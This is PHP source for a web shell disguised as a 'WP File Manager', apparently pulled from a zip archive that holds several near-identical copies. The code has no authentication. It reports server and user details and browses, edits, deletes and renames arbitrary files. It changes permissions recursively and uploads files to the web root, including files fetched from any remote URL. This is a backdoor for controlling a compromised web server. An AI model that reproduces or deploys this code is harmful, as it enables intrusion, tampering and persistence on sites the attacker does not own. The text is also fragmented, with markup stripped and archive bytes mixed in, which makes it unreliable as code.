📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëbindi@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëbindi@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
